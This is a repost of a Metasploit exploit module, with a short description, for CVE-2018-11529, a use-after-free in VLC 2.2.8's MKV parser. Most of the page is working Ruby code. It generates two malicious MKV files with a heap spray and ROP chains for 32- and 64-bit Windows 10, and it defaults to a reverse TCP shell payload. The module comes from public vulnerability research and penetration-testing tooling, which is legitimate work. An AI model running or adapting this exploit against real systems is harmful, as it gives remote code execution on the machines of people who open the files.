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VLC Media Player 2.2.8 MKV Use-After-Free

VLC Media Player 2.2.8 MKV Use-After-Free
Posted Oct 11, 2018
Authored by Eugene NG, Winston Ho | Site metasploit.com

This Metasploit module exploits a use-after-free vulnerability in VideoLAN VLC versions 2.2.8 and below. The vulnerability exists in the parsing of MKV files and affects both 32 bits and 64 bits. In order to exploit this, this module will generate two files: The first .mkv file contains the main vulnerability and heap spray, the second .mkv file is required in order to take the vulnerable code path and should be placed under the same directory as the .mkv file. This Metasploit module has been tested against VLC v2.2.8. Tested with payloads windows/exec, windows/x64/exec, windows/shell/reverse_tcp, windows/x64/shell/reverse_tcp. Meterpreter payloads if used can cause the application to crash instead.

tags | exploit, shell
systems | windows
advisories | CVE-2018-11529
MD5 | 8a992cc20fa2660fbd011bbae7fa991c

VLC Media Player 2.2.8 MKV Use-After-Free

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VLC Media Player MKV Use After Free',
'Description' => %q(
This module exploits a use after free vulnerability in
VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
MKV files and affects both 32 bits and 64 bits.

In order to exploit this, this module will generate two files:
The first .mkv file contains the main vulnerability and heap spray,
the second .mkv file is required in order to take the vulnerable code
path and should be placed under the same directory as the .mkv file.

This module has been tested against VLC v2.2.8. Tested with payloads
windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
cause the application to crash instead.
),
'License' => MSF_LICENSE,
'Author' => [
'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit
'Winston Ho - GovTech', # Metasploit Module
],
'References' =>
[
['CVE', '2018-11529'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
['EDB', '44979']
],
'Payload' =>
{
'Space' => 0x300,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' => [
[
'VLC 2.2.8 on Windows 10 x86',
{
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Ret' => 0x22000020,
'ExitPointer' => 0x00411364,
'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
'RopChain' => [
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
0x00407086, # POP EDI # RETN [vlc.exe]
0x00000040, # 0x00000040-> edx
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
0x22000030, # Filler (compensate) for rol [eax] below
0x41414141, # Filler (compensate)
0x004039c8, # POP ECX # RETN [vlc.exe]
0x0041193d, # &Writable location [vlc.exe]
0x00409d18, # POP EBX # RETN [vlc.exe]
0x00000201, # 0x00000201-> ebx
0x0040a623, # POP EBP # RETN [vlc.exe]
0x0040a623, # POP EBP # RETN [vlc.exe]
0x004036CB, # POP ESI # RETN [vlc.exe]
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
0x00407086, # POP EDI # RETN [vlc.exe]
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
0x22000020 + 0x5e0, # Shellcode
]
}
],
[
'VLC 2.2.8 on Windows 10 x64',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Ret' => 0x40000040,
'ExitPointer' => 0x00412680,
'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
'RopChain' => [
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
0x00403b60, # POP RCX # RET
0x40000040, # lpAddress
0x004011c2, # POP RDX # RET
0x00001000, # dwSize
0x0040ab70, # JMP VirtualProtect
0x40000040 + 0x700, # Payload
]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 24 2018',
'DefaultTarget' => 1))

register_options [
OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
]

deregister_options('FILENAME')
end

def to_bytes(num, length, endianess = 'big')
h = format('%<num>x', num: num)
s = ('0' * (h.length % 2) + h).rjust(length * 2)
s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
endianess == 'big' ? s : s.reverse
end

def data_size(number, numbytes = (1...9))
# encode 'number' as an EBML variable-size integer.
numbytes = [numbytes] if numbytes.is_a?(Integer)
numbytes.each do |size|
bits = size * 7
return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
end
fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
end

def build_data(size)
block_size = 0x1000

if target.arch.first == ARCH_X64
target_address_packed = [target.ret].pack("<Q")
rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join

if size == 0x180
uaf_object = "\x41" * size
uaf_object[0x30, 8] = target_address_packed
uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
uaf_object[0x170, 8] = target_address_packed
return uaf_object
else
block = "\x00" * block_size
block[0x0, 4] = "\x41" * 4
block[0x8, target_address_packed.length] = target_address_packed
block[0x10, target_address_packed.length] = target_address_packed

block[0x40, 8] = [0x1].pack("<Q")
block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
block[0xE4, 8] = [0x1].pack("<Q")

block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
block[0x3b8, rop_chain.length] = rop_chain

block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
block[0x700, payload.encoded.length] = payload.encoded

block *= size / block.length + 1
end
return block[0, size]
elsif target.arch.first == ARCH_X86
target_address_packed = [target.ret].pack("<I")
rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join

if size == 0x100
uaf_object = "\x41" * size
uaf_object[0x28, 4] = target_address_packed
uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
uaf_object[0xf8, 4] = target_address_packed
return uaf_object
else
block = "\x00" * block_size
block[0x0, 4] = [0x22000040].pack("<I")
block[0x4, target_address_packed.length] = target_address_packed
block[0x8, target_address_packed.length] = target_address_packed

block[0x10, 4] = [0xc85].pack("<I")
block[0x30, 4] = [0x1].pack("<I")
block[0xc0, 4] = [0x1].pack("<I")

block[0x194, 4] = [0x2200031c].pack("<I")
block[0x2c0, 4] = [0x220002e4].pack("<I")
block[0x2f4, 4] = [0x22000310].pack("<I")

block[0x2f8, rop_chain.length] = rop_chain
block[0x564, 4] = [0x22000588].pack("<I")
block[0x5e0, payload.encoded.length] = payload.encoded

block *= size / block.length + 1
end
return block[0, size]
end
end

def generate_mkv
# EBML Header
doc_type = "\x42\x82" << data_size(8) << "matroska"
ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type

# Seek Entries
seek_entry = "\x53\xab" << data_size(4) # SeekID
seek_entry << "\x15\x49\xa9\x66" # KaxInfo
seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2 # SeekPosition + Index of Segment info
seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

seek_entry = "\x53\xab" << data_size(4) # SeekID
seek_entry << "\x11\x4d\x9b\x74" # KaxSeekHead
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of SeekHead
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

seek_entry = "\x53\xab" << data_size(4) # SeekID
seek_entry << "\x10\x43\xa7\x70" # KaxChapters
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of Chapters
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

# SeekHead
seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries

# Void
void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element

# Info
segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid

# Chapters
chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry

if target.arch.first == ARCH_X86
size = 0x100
count = 30
elsif target.arch.first == ARCH_X64
size = 0x180
count = 60
end

# Attachments
attached_files = ""
mime = "\x46\x60" << data_size(24) << "application/octet-stream"
data = build_data(size)
data = "\x46\x5c" << data_size(data.length) << data
500.times do
uid = "\x46\xae" << data_size(8) << rand_text(8)
file_name = "\x46\x6e" << data_size(8) << rand_text(8)
header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)

attached_files << header << file_name << mime << uid << data
end
attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files

# Cluster
pay_load = build_data(0xfff000)
# Since the payload is simply repeated payload blocks appended to cluster then segment_data,
# we return the simple_block and the count to process later instead.
# This should result is overall lowered memory usage during payload generation
simple_block = "\xa3" << data_size(pay_load.length) << pay_load
simple_blocks_len = simple_block.length * count
time_code = "\xe7" << data_size(1) << "\x00"
cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code

# Concatenate everything
segment_data = seek_head << void << info << chapters << attachments << cluster
segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
mkv = ebml << segment

return mkv, simple_block, count
end

def exploit
mkv1, simple_block, count = generate_mkv
mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)

tmpname = rand_text_alpha_lower(3..8)
f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
f1 << '.mkv' unless f1.downcase.end_with?('.mkv')

f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
f2 << '.mkv' unless f2.downcase.end_with?('.mkv')

file_format_filename(f1)
file_create(mkv1)
print_status("Created #{f1}. Target should open this file")

file_format_filename(f2)
file_create(mkv2)
print_status("Created #{f2}. Put this file in the same directory as #{f1}")

print_status("Appending blocks to #{f1}")
path = File.join(Msf::Config.local_directory, f1)
full_path = ::File.expand_path(path)
File.open(full_path, 'ab') do |fd|
count.times { fd.write(simple_block) }
end
print_good("Succesfully appended blocks to #{f1}")
end

def file_format_filename(name = '')
name.empty? ? @fname : @fname = name
end
end

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